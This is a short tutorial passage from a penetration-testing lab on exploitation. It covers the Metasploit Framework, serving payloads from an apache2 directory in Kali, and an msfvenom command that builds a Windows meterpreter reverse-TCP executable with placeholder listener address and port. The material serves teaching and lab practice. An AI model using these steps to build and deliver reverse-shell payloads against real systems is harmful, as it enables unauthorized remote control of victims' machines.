Exploitation

The Metasploit Framework

Simply put, the Metasploit Framework is a system containing development tools for exploit development and usage. Within the framework is a database that allows you to save information associated with scanning, enumeration, and exploitation. This database allows you to create databases to keep your engagement information separate. This workspace can be exported and imported if sharing with team members is required. An additional option is Metasploit Community or Metasploit Pro which allows for the workspace information to be displayed via the web.

Web Server (apache2)

There will be times where you will need a webserver to serve files to a victim. One such way to do this in Kali is to start your apache2 service and create a separate directory just for payloads. Once the directory is created you can either create payloads with msfvenom and move them from that directory or run the msfvenom commands from the payloads directory.

# service apache2 start

# cd /var/www/html

# mkdir payloads

# cd payloads

Msfvenom

Msfvenom is a tool that allows for the creation of custom shellcode. For this lab, you can run this command from the newly created payloads directory. You should research different ways to use msfvenom to create custom exploits with custom payloads. A few useful commands are:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[your ip] LPORT=[preferred port] -f exe > anyname.exe